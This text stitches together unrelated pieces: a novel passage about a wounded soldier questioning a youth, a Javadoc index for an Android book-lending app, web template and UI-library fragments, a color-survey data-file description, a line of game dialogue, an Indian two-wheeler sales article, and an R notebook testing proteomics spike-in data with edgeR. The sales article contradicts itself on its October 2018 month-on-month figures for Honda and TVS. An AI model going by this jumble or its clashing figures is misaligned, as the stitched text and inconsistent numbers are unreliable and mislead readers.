He breathed a deep breath of humble admiration. He had looked at the youth for encouragement several times. He received none, but gradually he seemed to get absorbed in his subject.
  He larfed. Well, they didn’t run t’ day, did they, hey? No, sir! They fit, an’ fit, an’ fit.”
His homely face was suffused with a light of love for the army which was to him all things beautiful and powerful.
After a time he turned to the youth. “Where yeh hit, ol’ boy?” he asked in a brotherly tone.
The youth felt instant panic at this question, although at first its full import was not borne in upon him.
“What?” he asked.
“Where yeh hit?” repeated the tattered man.
“Why,” began the youth, “I—I—that is—why—I—”
He turned away suddenly and slid through the crowd. His brow was heavily flushed, and his fingers were picking nervously at one of his buttons. He bent his head and fastened his eyes studiously upon the button as if it were a little problem.
The tattered man looked after him in astonishment.


- ratingDisplay - Variable in class com.example.vitabu.userReviewActivity.CustomAdapter.ViewHolder
-
- recApproved_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recBook_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recBorrower_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recDate_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recLocation_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recOwner_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recOwnerEmail_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recOwnerNotes_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- recOwnerPhoneNumber_isCorrect() - Method in class com.example.vitabu.BorrowRecordTest
-
- RecyclerItemTouchHelper - Class in com.example.vitabu
-
This class extends from the class ItemTouchHelper.SimpleCallback to add swipe functionality
to the recycler view items displayed in acceptBookActivity.
- RecyclerItemTouchHelper(int, int, RecyclerItemTouchHelper.RecyclerItemTouchHelperListener) - Constructor for class com.example.vitabu.RecyclerItemTouchHelper
-
- RecyclerItemTouchHelper.RecyclerItemTouchHelperListener - Interface in com.example.vitabu
-
- registerActivity - Class in com.example.vitabu
-
This class deals with everything pertaining to new user registration to Vitabu.
- registerActivity() - Constructor for class com.example.vitabu.registerActivity
-
- RegisterTest - Class in com.example.vitabu
-
- RegisterTest() - Constructor for class com.example.vitabu.RegisterTest
-
- RequestedBooksBookRecyclerViewAdapter - Class in com.example.vitabu
-
- RequestedBooksBookRecyclerViewAdapter.ItemClickListener - Interface in com.example.vitabu
-
- RequestedBooksBookRecyclerViewAdapter.ViewHolder - Class in com.example.vitabu
-
- RequestedBooksFragment - Class in com.example.vitabu
-
- RequestedBooksFragment() - Constructor for class com.example.vitabu.RequestedBooksFragment
-
- requester - Variable in class com.example.vitabu.acceptBookRequestsRecyclerViewAdapter.ViewHolder
-
- requestsBookInfoActivity - Class in com.example.vitabu
-
This class creates the Book Info activity which lets the users view the full information about a
provided book (which they have requested).
- requestsBookInfoActivity() - Constructor for class com.example.vitabu.requestsBookInfoActivity
-
- RequestsTest - Class in com.example.vitabu
-
- RequestsTest() - Constructor for class com.example.vitabu.RequestsTest
-
- resetBookStatus(String) - Method in class com.example.vitabu.Database
-
When no more requests exist after deleting the current one, the status of the book needs to
change back to "available".
- returnBook(Runnable, Runnable, Book, BorrowRecord) - Method in class com.example.vitabu.Database
-
Returns a book.
- returnBookActivity - Class in com.example.vitabu
-
- returnBookActivity() - Constructor for class com.example.vitabu.returnBookActivity
-
- returnFromActivity() - Method in class com.example.vitabu.returnBookActivity
-
- Review - Class in com.example.vitabu
-
A Review object to keep track of the information relevant to a user review.
- Review() - Constructor for class com.example.vitabu.Review
-
This is the default constructor that is used by Firebase Database and whenever we want to
create a Review object without pre-populating it with specific data.
- Review(String, String, float, String, String, String) - Constructor for class com.example.vitabu.Review
-
This the constructor that instantiates the Review object with the specific provided parameters.
- REVIEW_TYPE - Static variable in class com.example.vitabu.MainActivity
-
- ReviewBody_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- ReviewBorrower_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- reviewDisplay - Variable in class com.example.vitabu.userReviewActivity.CustomAdapter.ViewHolder
-
- ReviewFrom_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- ReviewNoOneElse_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- ReviewOwner_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- ReviewRating_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- ReviewTest - Class in com.example.vitabu
-
Example local unit test, which will execute on the development machine (host).
- ReviewTest() - Constructor for class com.example.vitabu.ReviewTest
-
- ReviewTo_isCorrect() - Method in class com.example.vitabu.ReviewTest
-
- rule - Variable in class com.example.vitabu.AddBookTest
-
- rule - Variable in class com.example.vitabu.BookInfoTest
-
- rule - Variable in class com.example.vitabu.BrowseBooksTest
-
- rule - Variable in class com.example.vitabu.EditProfileTest
-
- rule - Variable in class com.example.vitabu.LoginTest
-
- rule - Variable in class com.example.vitabu.MyBooksTest
-
- rule - Variable in class com.example.vitabu.RegisterTest
-
- rule - Variable in class com.example.vitabu.RequestsTest
-
- rule - Variable in class com.example.vitabu.SearchTest
-


{% extends "utils/base.html" %} {% from 'utils/greeting.html' import greeting %} {% from 'utils/map.html' import map_footer_scripts, map_rendered %} {% from 'utils/form.html' import form_input, phone_number_format %} {% from 'utils/waste_entry.html' import waste_entry, waste_table, waste_entry_script, waste_display_script %} {% block body %}
| Name | Phone number | Location | Request date |
|
Enter the picker's name
|
(Call)
Enter the picker's phone number in the format {{ phone_number_format() }}
|
{% if req.address is not none %}
{{ req.address }} (Open in Google Maps)
{% else %}
{{ req.manual_address }}
(Manually entered)
{% endif %}
(You can use the map at the bottom of this page to change the location) |
{{ req.date }} |


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^About The Boyfriend^
^About The Girlfriend^
^About The Celebration^
|
|
|
|
|
^About The Godparents^
^About The Witness^
^About The Church Registry^
|
|
|SaveButton| |CancelButton| |ReturnButton|


- Source:
Members
-
var $pane -
An array of two elements representing each side of the splitter. Index 0 is always either top or left depending on orientation.
Type:
- Array.<external:jQuery~Object>
- Source:
Methods
-
<static> functionconstructor(container, parent, orientation) -
Parameters:
Name Type Description container
external:jQuery~selector | external:jQuery~Object | external:domNode A container element for this splitter. parent
wcLayout | wcSplitter | wcDocker The splitter's parent object. orientation
module:wcDocker.ORIENTATION The orientation of the splitter bar. - Source:
-
function animPos(value) -
Animates to a given splitter position.
Parameters:
Name Type Description value
Number Assigns the target splitter position. Value must be a percentage between 0 and 1. module:wcSplitter~onFinished A finished event handler. - Source:
-
function bottom( [item]) -> module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean -
Gets, or Sets the element associated with the bottom pane (for vertical layouts).
Parameters:
Name Type Argument Description item
module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter <optional>
If supplied, the pane will be replaced with this item. - Source:
Returns:
- The current object assigned to the pane, or false.- Type
- module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean
-
function destroy( [destroyPanes]) -
Destroys the splitter.
Parameters:
Name Type Argument Default Description destroyPanes
Boolean <optional>
true If true, both panes attached will be destroyed as well. Use false if you plan to continue using the objects assigned to each pane, or make sure to remove them first before destruction. - Source:
-
function initLayouts( [topLeftLayout] [, bottomRightLayout]) -
Initializes the two panes of the splitter with its own layouts.
This should be used to initialize the splitter when creating one for use inside your panel.Parameters:
Name Type Argument Default Description topLeftLayout
module:wcDocker.LAYOUT <optional>
wcDocker.LAYOUT.TABLE The type of layout to use for the top or left pane. bottomRightLayout
module:wcDocker.LAYOUT <optional>
wcDocker.LAYOUT.TABLE The type of layout to use for the bottom or right pane. - Source:
-
function left( [item]) -> module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean -
Gets, or Sets the element associated with the left side pane (for horizontal layouts).
Parameters:
Name Type Argument Description item
module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter <optional>
If supplied, the pane will be replaced with this item. - Source:
Returns:
- The current object assigned to the pane, or false.- Type
- module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean
-
function maxSize() -> module:wcDocker~Size -
Gets the maximum size constraint of the outer splitter area.
- Source:
Returns:
- The maximum size.- Type
- module:wcDocker~Size
-
function minSize() -> module:wcDocker~Size -
Gets the minimum size constraint of the outer splitter area.
- Source:
Returns:
The minimum size.- Type
- module:wcDocker~Size
-
function orientation(orientation) -
Gets, or Sets the orientation of the splitter.
Parameters:
Name Type Description orientation
module:wcDocker.ORIENTATION The new orientation of the splitter. - Source:
-
function pane(index [, item]) -> module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean -
Gets, or Sets the element associated with a pane.
Parameters:
Name Type Argument Description index
Number The index of the pane, only 0 and 1 are valid. item
module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter <optional>
If supplied, the pane will be replaced with this item. - Source:
Returns:
- The current object assigned to the pane, or false.- Type
- module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean
-
function pos( [value]) -> Number -
Get, or Set the current splitter position.
Parameters:
Name Type Argument Description value
Number <optional>
If supplied, assigns a new splitter position. Value must be a percentage value between 0 and 1. - Source:
Returns:
- The current position.- Type
- Number
-
function right( [item]) -> module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean -
Gets, or Sets the element associated with the right side pane (for horizontal layouts).
Parameters:
Name Type Argument Description item
module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter <optional>
If supplied, the pane will be replaced with this item. - Source:
Returns:
- The current object assigned to the pane, or false.- Type
- module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean
-
function scrollable(index [, x] [, y]) -> module:wcDocker~Scrollable -
Gets, or Sets whether a pane can be scrolled via scroll bars. By default, scrolling is enabled in both directions.
Parameters:
Name Type Argument Description index
Number The index of the pane, only 0 and 1 are valid. x
Boolean <optional>
Whether to allow scrolling in the horizontal direction. y
Boolean <optional>
Whether to allow scrolling in the vertical direction. - Source:
Returns:
- The current scroll state for each direction. -
function top( [item]) -> module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean -
Gets, or Sets the element associated with the top pane (for vertical layouts).
Parameters:
Name Type Argument Description item
module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter <optional>
If supplied, the pane will be replaced with this item. - Source:
Returns:
- The current object assigned to the pane, or false.- Type
- module:wcLayout | module:wcPanel | module:wcFrame | wcSplitter | Boolean


Gravity
Responsive framework for intuitive and easy web design
Responsive framework for intuitive and easy web design
Tools
language
Box
Container
Column
Container


|
The `foci.txt' file contains WCS focus task responses. Each line of the file has 5 tab-separated fields. See also the description of `foci-exp.txt', for this same data in expanded format. | ||
field number | field type | field value |
| 1. | WCS Language Number | 1..110 |
| 2. | WCS Speaker Number | total number of consultants varies per language |
| 3. | WCS Focus Response | Sequential enumeration of focus responses |
| 4. | Term Abbreviation | Native Term |
| 5. | Chip Range | WCS Grid Coordinates |


Priest of Dawn:
If you wish, I will send you to the Oracle of Dawn. When you want to return to the village, ask the Festival Guide.
Are you sure you want to go to the Oracle of Dawn?
"I want to go to the Oracle of Dawn."


Hero, Honda, TVS, Bajaj, Suzuki, RE – October 2019 Sales Analysis
by Surendhar MOctober 2019 has turned out to be a recovery month for the Indian two-wheeler industry as most of the mainstream brands posted decent sales
In October 2019, two-wheeler manufacturers had been able to recover some of the lost ground courtesy of the festive season and the big level of discounts offered across the board. Hero MotoCorp hit a record retail sales tally of 12.84 lakh units last month and the Month-on-Month numbers were not bad either.
The largest two-wheeler maker in the country posted a total of 5,99,248 units last month as against 7,16,059 units with YoY de-growth of 16.31%. However, on MoM terms, the sales decrease was only 4% as 6,24,215 were retailed in September 2019. Honda, on the other hand, continued to be second with a total of 4,87,782 units.
It was not too dissimilar from what it managed during the same month in 2018 as 4,90,124 units were sold. The YoY de-growth stood only at negative 0.48%. In the Month-on-Month comparison, the Japanese manufacturer did deliver as 4,55,896 units were sold in October 2018 that resulted in a very decent 6.99% sales increase.
| Top Selling Two-Wheeler Brands | October 2019 | October 2018 |
| Hero MotoCorp | 5,99,248 | 7,16,059 |
| Honda | 4,87,782 | 4,90,124 |
| TVS | 2,52,684 | 3,38,988 |
| Bajaj | 2,42,516 | 2,81,582 |
| Royal Enfield | 67,538 | 70,044 |
| Suzuki | 66,215 | 61,768 |
TVS Motor Company ended up third with a tally of 2,52,684 units as against 3,38,988 units with a massive YoY de-growth of just over 25%. The Hosur-based brand has been performing reasonably well compared to other companies despite the sales slowdown and it registered 3.92% MoM growth as 2,43,163 units were sold in October 2018.
Bajaj Auto garnered a total of 2,42,516 units in October 2019 and when compared to the corresponding month in 2018, 2,81,582 units were sold with 13.87% de-growth. The MoM comparison stands in favour of the Chakan-based brand as 1,72,543 units were sold in September 2019 with a huge 40.55% sales jump.
Royal Enfield fared decently in the month of October 2019 as it managed to beat Suzuki with cumulative domestic sales of 67,538 units as against 70,044 units during the same month last year with negative 3.58% growth. Its tally of 54,858 during the previous month ensured a growth of 23.11%.
Suzuki again impressed with a total of 66,215 units as against 61,768 units with 7.2% growth and the MoM sales increase stood at 4.48%.


The data is from the PXD013277 PRIDE archive. The human cells are the MCF7 cell line. E. coli lysate was spiked in at 3 different relative levels. The mixes were labeled with TMT 10-plex and analyzed in a large-scale fractionation using a Q Exactive HF instrument. The human samples and the E. coli samples are replicates of one cell lysate pellet. I think the digestions and labeling reactions are all independent. We will have some experimental variation, but not as much as true independent biological replicates.
Sample Key:
| Channel | E. coli (ug) | MCF7 (ug) | Total (ug) | Human Fraction |
|---|---|---|---|---|
| 126C | 7.5 | 70 | 77.5 | 0.90 |
| 127N | 7.5 | 70 | 77.5 | 0.90 |
| 127C | 7.5 | 70 | 77.5 | 0.90 |
| 128N | 15 | 70 | 85 | 0.82 |
| 128C | 15 | 70 | 85 | 0.82 |
| 129N | 15 | 70 | 85 | 0.82 |
| 129C | 15 | 70 | 85 | 0.82 |
| 130N | 45 | 70 | 115 | 0.61 |
| 130C | 45 | 70 | 115 | 0.61 |
| 131N | 45 | 70 | 115 | 0.61 |
The data is described in this MCP paper (free ahead of press). Briefly, samples were reduced and alkylated, digested with LysC and trypsin in an SP3 bead protocol. The first-dimension separation was a peptide IEF-IPG method that resulted in 72 fractions. Each fraction was run on a standard reverse phase column into a Q Exactive HF instrument. Instrument parameters looked typical for an MS2 TMT experiment on this platform.
The data was downloaded from PRIDE (about 29 GB) and converted to compressed text files using MSConvert. The re-analysis used the PAW pipeline. A combined human and E. coli canonical reference proteome FASTA file was created using fasta_utilities tools. A wide tolerance Comet search (1.25 Da for parent ions) was used with recommended settings for high-resolution MS2 fragment ions. PSMs were filtered to 1% FDR. Protein inference used basic and extended parsimony analysis. TMT analysis used reporter ions from all unique (with respect to the final protein list) peptides summed into protein total intensities. Normalizations and statistical testing was done in edgeR using the Jupyter notebook.
The RAW data files had 1,961,506 MS2 scans. At a 1% FDR, there were 303,201 scans that passed the score cutoffs (15.5% overall ID rate). There were about 10K protein IDs: 9,650 proteins excluding common contaminants, decoys, and proteins without any usable reporter ion signals using a two peptides per protein criterion.
The data here was manually normalized so that the total intensities of human proteins in each channel are the same. EdgeR testing will be done without using the TMM normalization function.
Thompson, A., Schäfer, J., Kuhn, K., Kienle, S., Schwarz, J., Schmidt, G., Neumann, T. and Hamon, C., 2003. Tandem mass tags: a novel quantification strategy for comparative analysis of complex protein mixtures by MS/MS. Analytical chemistry, 75(8), pp.1895-1904.
Wilmarth, P.A., Riviere, M.A. and David, L.L., 2009. Techniques for accurate protein identification in shotgun proteomic studies of human, mouse, bovine, and chicken lenses. Journal of ocular biology, diseases, and informatics, 2(4), pp.223-234.
Robinson, M.D., McCarthy, D.J. and Smyth, G.K., 2010. edgeR: a Bioconductor package for differential expression analysis of digital gene expression data. Bioinformatics, 26(1), pp.139-140.
# library imports
library(tidyverse)
library(scales)
library(limma)
library(edgeR)
library(psych)
# ================== TMM normalization from DGEList object =====================
apply_tmm_factors <- function(y, color = NULL, plot = TRUE) {
# computes the tmm normalized data from the DGEList object
# y - DGEList object
# returns a dataframe with normalized intensities
# compute and print "Sample loading" normalization factors
lib_facs <- mean(y$samples$lib.size) / y$samples$lib.size
cat("\nLibrary size factors:\n",
sprintf("%-5s -> %f\n", colnames(y$counts), lib_facs))
# compute and print TMM normalization factors
tmm_facs <- 1/y$samples$norm.factors
cat("\nTrimmed mean of M-values (TMM) factors:\n",
sprintf("%-5s -> %f\n", colnames(y$counts), tmm_facs))
# compute and print the final correction factors
norm_facs <- lib_facs * tmm_facs
cat("\nCombined (lib size and TMM) normalization factors:\n",
sprintf("%-5s -> %f\n", colnames(y$counts), norm_facs))
# compute the normalized data as a new data frame
tmt_tmm <- as.data.frame(sweep(y$counts, 2, norm_facs, FUN = "*"))
colnames(tmt_tmm) <- str_c(colnames(y$counts), "_tmm")
# visualize results and return data frame
if(plot == TRUE) {
boxplot(log10(tmt_tmm), col = color, notch = TRUE, main = "TMM Normalized data")
}
tmt_tmm
}
# ================= reformat edgeR test results ================================
collect_results <- function(df, tt, x, xlab, y, ylab) {
# Computes new columns and extracts some columns to make results frame
# df - data in data.frame
# tt - top tags table from edgeR test
# x - columns for first condition
# xlab - label for x
# y - columns for second condition
# ylab - label for y
# returns a new dataframe
# condition average vectors
ave_x <- rowMeans(df[x])
ave_y <- rowMeans(df[y])
# FC, direction, candidates
fc <- ifelse(ave_y > ave_x, (ave_y / ave_x), (-1 * ave_x / ave_y))
direction <- ifelse(ave_y > ave_x, "up", "down")
candidate <- cut(tt$FDR, breaks = c(-Inf, 0.01, 0.05, 0.10, 1.0),
labels = c("high", "med", "low", "no"))
# make data frame
temp <- cbind(df[c(x, y)], data.frame(logFC = tt$logFC, FC = fc,
PValue = tt$PValue, FDR = tt$FDR,
ave_x = ave_x, ave_y = ave_y,
direction = direction, candidate = candidate,
Acc = tt$genes))
# fix column headers for averages
names(temp)[names(temp) %in% c("ave_x", "ave_y")] <- str_c("ave_", c(xlab, ylab))
temp # return the data frame
}
# =============== p-value plots ================================================
pvalue_plots <- function(results, ylim, title) {
# Makes p-value distribution plots
# results - results data frame
# ylim - ymax for expanded view
# title - plot title
p_plot <- ggplot(results, aes(PValue)) +
geom_histogram(bins = 100, fill = "white", color = "black") +
geom_hline(yintercept = mean(hist(results$PValue, breaks = 100,
plot = FALSE)$counts[26:100]))
# we will need an expanded plot
p1 <- p_plot + ggtitle(str_c(title, " p-value distribution"))
p2 <- p_plot + coord_cartesian(xlim = c(0, 1.0), ylim = c(0, ylim)) + ggtitle("p-values expanded")
grid.arrange(p1, p2, nrow = 2) # from gridExtra package
}
# ============= log2 fold-change distributions =================================
log2FC_plots <- function(results, range, title) {
# Makes faceted log2FC plots by candidate
# results - results data frame
# range - plus/minus log2 x-axis limits
# title - plot title
ggplot(results, aes(x = logFC, fill = candidate)) +
geom_histogram(binwidth=0.1, color = "black") +
facet_wrap(~candidate) +
ggtitle(title) +
coord_cartesian(xlim = c(-range, range))
}
# ========== Setup for MA and volcano plots ====================================
transform <- function(results, x, y) {
# Make data frame with some transformed columns
# results - results data frame
# x - columns for x condition
# y - columns for y condition
# return new data frame
df <- data.frame(log10((results[x] + results[y])/2),
log2(results[y] / results[x]),
results$candidate,
-log10(results$FDR))
colnames(df) <- c("A", "M", "candidate", "P")
df # return the data frame
}
# ========== MA plots using ggplot =============================================
MA_plots <- function(results, x, y, title) {
# makes MA-plot DE candidate ggplots
# results - data frame with edgeR results and some condition average columns
# x - string for x-axis column
# y - string for y-axis column
# title - title string to use in plots
# returns a list of plots
# uses transformed data
temp <- transform(results, x, y)
# 2-fold change lines
ma_lines <- list(geom_hline(yintercept = 0.0, color = "black"),
geom_hline(yintercept = 1.0, color = "black", linetype = "dotted"),
geom_hline(yintercept = -1.0, color = "black", linetype = "dotted"))
# make main MA plot
ma <- ggplot(temp, aes(x = A, y = M)) +
geom_point(aes(color = candidate, shape = candidate)) +
scale_y_continuous(paste0("logFC (", y, "/", x, ")")) +
scale_x_continuous("Ave_intensity") +
ggtitle(title) +
ma_lines
# make separate MA plots
ma_facet <- ggplot(temp, aes(x = A, y = M)) +
geom_point(aes(color = candidate, shape = candidate)) +
scale_y_continuous(paste0("log2 FC (", y, "/", x, ")")) +
scale_x_continuous("log10 Ave_intensity") +
ma_lines +
facet_wrap(~ candidate) +
ggtitle(str_c(title, " (separated)"))
# make the plots visible
print(ma)
print(ma_facet)
}
# ========== Scatter plots using ggplot ========================================
scatter_plots <- function(results, x, y, title) {
# makes scatter-plot DE candidate ggplots
# results - data frame with edgeR results and some condition average columns
# x - string for x-axis column
# y - string for y-axis column
# title - title string to use in plots
# returns a list of plots
# 2-fold change lines
scatter_lines <- list(geom_abline(intercept = 0.0, slope = 1.0, color = "black"),
geom_abline(intercept = 0.301, slope = 1.0, color = "black", linetype = "dotted"),
geom_abline(intercept = -0.301, slope = 1.0, color = "black", linetype = "dotted"),
scale_y_log10(),
scale_x_log10())
# make main scatter plot
scatter <- ggplot(results, aes_string(x, y)) +
geom_point(aes(color = candidate, shape = candidate)) +
ggtitle(title) +
scatter_lines
# make separate scatter plots
scatter_facet <- ggplot(results, aes_string(x, y)) +
geom_point(aes(color = candidate, shape = candidate)) +
scatter_lines +
facet_wrap(~ candidate) +
ggtitle(str_c(title, " (separated)"))
# make the plots visible
print(scatter)
print(scatter_facet)
}
# ========== Volcano plots using ggplot ========================================
volcano_plot <- function(results, x, y, title) {
# makes a volcano plot
# results - a data frame with edgeR results
# x - string for the x-axis column
# y - string for y-axis column
# title - plot title string
# uses transformed data
temp <- transform(results, x, y)
# build the plot
ggplot(temp, aes(x = M, y = P)) +
geom_point(aes(color = candidate, shape = candidate)) +
xlab("log2 FC") +
ylab("-log10 FDR") +
ggtitle(str_c(title, " Volcano Plot"))
}
# ============== individual protein expression plots ===========================
# function to extract the identifier part of the accesssion
get_identifier <- function(accession) {
identifier <- str_split(accession, "\\|", simplify = TRUE)
identifier[,3]
}
set_plot_dimensions <- function(width_choice, height_choice) {
options(repr.plot.width=width_choice, repr.plot.height=height_choice)
}
plot_top_tags <- function(results, nleft, nright, top_tags) {
# results should have data first, then test results (two condition summary table)
# nleft, nright are number of data points in each condition
# top_tags is number of up and number of down top DE candidates to plot
# get top ipregulated
up <- results %>%
filter(logFC >= 0) %>%
arrange(FDR)
up <- up[1:top_tags, ]
# get top down regulated
down <- results %>%
filter(logFC < 0) %>%
arrange(FDR)
down <- down[1:top_tags, ]
# pack them
proteins <- rbind(up, down)
color = c(rep("red", nleft), rep("blue", nright))
for (row_num in 1:nrow(proteins)) {
row <- proteins[row_num, ]
vec <- as.vector(unlist(row[1:(nleft + nright)]))
names(vec) <- colnames(row[1:(nleft + nright)])
title <- str_c(get_identifier(row$Acc), ", int: ", scientific(mean(vec), 2),
", FDR: ", scientific(row$FDR, digits = 3),
", FC: ", round(row$FC, digits = 1),
", ", row$candidate)
barplot(vec, col = color, main = title,
cex.main = 1.0, cex.names = 0.7, cex.lab = 0.7)
}
}
The data was gently prepped in Excel to remove contaminants, decoys, and proteins without intensities. The data was normalized manually in Excel so that the sum of human protein intensity totals were the same across the channels. We have an accessions column and a column to denote human or E. coli species. There are the 10 TMT channels.
# load the IRS-normalized data and check the table
data_all <- read_tsv("human_matched_input.txt")
# save gene names for edgeR so we can double check that results line up
accessions <- data_all$Accession
species <- data_all$HorE
# get just the TMT columns
data_tmt <- select(data_all, -Accession, -HorE)
# see how many rows of data we have
length(accessions)
We are defining the groups that will be compared explicitly and using all of the samples for variance estimates. We will put the data into a data frame, grouped by condition. We will define some column indexes for each condition, set some colors for plotting, and see how the data cluster by condition.
# define the 3 spike-in groups
low <- 1:3
med <- 4:7
high <- 8:10
# set some colors by condition
colors = c(rep('red', length(low)), rep('blue', length(med)), rep('green', length(high)))
We will the data into edgeR data structures and do an end run around the trimmed mean of M-values (TMM) normalization.
# bugger library size here? (to stop any normalization within edgeR)
size <- mean(colSums(data_tmt))
size <- rep(size, ncol(data_tmt))
# load data into edgeR objects
group = c(rep("low", length(low)), rep("med", length(med)), rep("high", length(high)))
y <- DGEList(counts = data_tmt, lib.size = size, group = group, gene = accessions)
# check the data and compute dispersion
y$samples
# copy data
tmt_tmm <- data_tmt
# check the clustering
boxplot(log10(data_tmt), col = colors, xlab = "Samples", ylab = "log10 Intensity",
main = "Starting data", notch = TRUE)
plotMDS(y, col = colors, main = "all samples after TMM")
One of the most powerful features of edgeR (and limma) is computing variances across larger numbers of genes (proteins) to get more robust variance estimates for small replicate experiments. Here, we have 18 samples across all conditions to use to improve the variance estimates and reduce false positive differential expression (DE) candidates. We have an edgeR estimateDisp
function that does all of this and a visualization function to check the result.
We loaded the IRS data into DGEList
object y
a few cells above and did the normalization step. We need to estimate the dispersion parameters before we can do the actual statistical testing. This only needs to be done once. Each exact test will take two conditions and compare them using the normalization factors and dispersion estimates saved in y
.
# compute dispersions and plot BCV
y <- estimateDisp(y)
plotBCV(y, main = "BCV plot of IRS/TMM normalized data")
We will specify the pair of interest for the exact test in edgeR and use the experiment-wide dispersion. The decideTestsDGE
call will tell us how many up and down regulated candidates we have at an FDR of 0.10. The topTags
call does the Benjamini-Hochberg multiple testing corrections. We save the test results in tt
. We use a handy MA (mean-average) plotting function from limma
to visualize the DE candidates, and then check the p-value distribution.
# the exact test object has columns like fold-change, CPM, and p-values
et <- exactTest(y, pair = c("low", "med"))
# this counts up, down, and unchanged genes (proteins) at 10% FDR
summary(decideTestsDGE(et, p.value = 0.10))
# the topTags function adds the BH FDR values to an exactTest data frame
# make sure we do not change the row order (the sort.by parameter)!
topTags(et)$table
tt <- topTags(et, n = Inf, sort.by = "none")
# make an MD plot (like MA plot)
plotMD(et, p.value = 0.10)
abline(h = c(-1, 1), col = "black")
# check the p-value distribution
ggplot(tt$table, aes(PValue)) +
geom_histogram(bins = 100, fill = "white", color = "black") +
geom_hline(yintercept = mean(hist(et$table$PValue, breaks = 100,
plot = FALSE)$counts[26:100])) +
ggtitle("7.5 versus 15 p-value distribution")
We have a nice number of DE candidates and all of the top tags are E. coli proteins. The p-value distribution looks nice.
We will add the statistical testing results (logFC, p-values, and FDR), condition intensity averages, and candidate status to the results
data frame (which has the TMM-normalized data) and also accumulate all of the three comparisons into all_results
.
Even though we do not have many candidates, we will still make the MA plots, scatter plots, and volcano plot using ggplot2. We will also look at the distribution of log2 expression ratios separated by differential expression (DE) category. The Benjamini-Hochberg corrected edgeR p-values are used to categorize the DE candidates: no > 0.10 > low > 0.05 > med > 0.01 > high.
# get the results summary
results <- collect_results(tmt_tmm, tt$table, low, "low", med, "med")
results$species <- as.factor(species)
# make column names unique by adding comparison (for the accumulated frame)
results_temp <- results
colnames(results_temp) <- str_c(colnames(results), "_low_med")
# accumulate the testing results
all_results <- results_temp
# see how many candidates by category
results %>% count(candidate)
# plot log2 fold-changes by category
ggplot(results, aes(x = logFC, fill = candidate)) +
geom_histogram(binwidth=0.1, color = "black") +
facet_wrap(~candidate) +
coord_cartesian(xlim = c(-3, 3)) +
ggtitle("7.5 vs 15 logFC distributions by candidate")
We have many comparisons to visualize, so we will use functions to generate a series of plots. We will make: an MA plot with candidates highlighted by color, faceted MA plots separated by candidate status, a scatter plot with candidates highlighted by color, faceted scatter plots separated by candidate status, and a volcano plot with candidates highlighted by color. The solid black lines in the MA and scatter plots are the 1-to-1 lines; the dotted lines are 2-fold change lines.
# make MA plots
MA_plots(results, "ave_low", "ave_med", "7.5 versus 15")
# make scatter plots
scatter_plots(results, "ave_low", "ave_med", "7.5 versus 15")
# make a volcano plot
volcano_plot(results, "ave_low", "ave_med", "7.5 versus 15")
We seem to have an unchanged distribution (hopefully the human proteins) and an over-expressed distribution (the E. coli proteins). The over-expressed proteins should be 2-fold different, but we are seeing smaller changes.
# look at the top candidates
set_plot_dimensions(6, 3.5)
plot_top_tags(results, 3, 4, 10)
set_plot_dimensions(7, 7)
We will do the same testing to compare 7.5 microgram of E. coli to 45 microgram of E. coli spiked into the human background.
# the exact test object has columns like fold-change, CPM, and p-values
et <- exactTest(y, pair = c("low", "high"))
# this counts up, down, and unchanged genes (proteins) at 10% FDR
summary(decideTestsDGE(et, p.value = 0.10))
# the topTags function adds the BH FDR values to an exactTest data frame
# make sure we do not change the row order (the sort.by parameter)!
topTags(et)$table
tt <- topTags(et, n = Inf, sort.by = "none")
# make an MD plot (like MA plot)
plotMD(et, p.value = 0.10)
abline(h = c(-1, 1), col = "black") # 2-fold change lines
# check the p-value distribution
ggplot(tt$table, aes(PValue)) +
geom_histogram(bins = 100, fill = "white", color = "black") +
geom_hline(yintercept = mean(hist(et$table$PValue, breaks = 100,
plot = FALSE)$counts[26:100])) +
ggtitle("7.5 vs 45 p-value distribution")
Something seems to have gone horribly wrong. The expectation would be that we still have two distributions, one unchanged with few if any significant expression changes and the other being a 6-fold difference in E. coli proteins that should be well separated from the unchanged distribution. We have about 2,200 identified E. coli proteins; however, we had the DE candidate number jump to 4,207. That means we now have about 2,000 human proteins that are significantly at different expression levels. We should not have any.
If we ignore the colors in the MA plot above, we seem to have two distributions that are somewhat separated. The unchanged distribution is severely carved up into significant over and under expression candidates. Something is seriously wrong here.
We will add the statistical testing results (logFC, p-values, and FDR), condition intensity averages, and candidate status to the results
data frame (which has the TMM-normalized data) and also accumulate all of the three comparisons into all_results
.
# get the results summary
results <- collect_results(tmt_tmm, tt$table, low, "low", high, "high")
results$species <- as.factor(species)
# make column names unique by adding comparison
results_temp <- results
colnames(results_temp) <- str_c(colnames(results), "_low_high")
# accumulate the testing results
all_results <- cbind(all_results, results_temp)
# see how many candidates by category
results %>% count(candidate)
# plot log2 fold-changes by category
ggplot(results, aes(x = logFC, fill = candidate)) +
geom_histogram(binwidth=0.1, color = "black") +
facet_wrap(~candidate) +
coord_cartesian(xlim = c(-3, 3)) +
ggtitle("7.5 versus 45 logFC distributions by candidate")
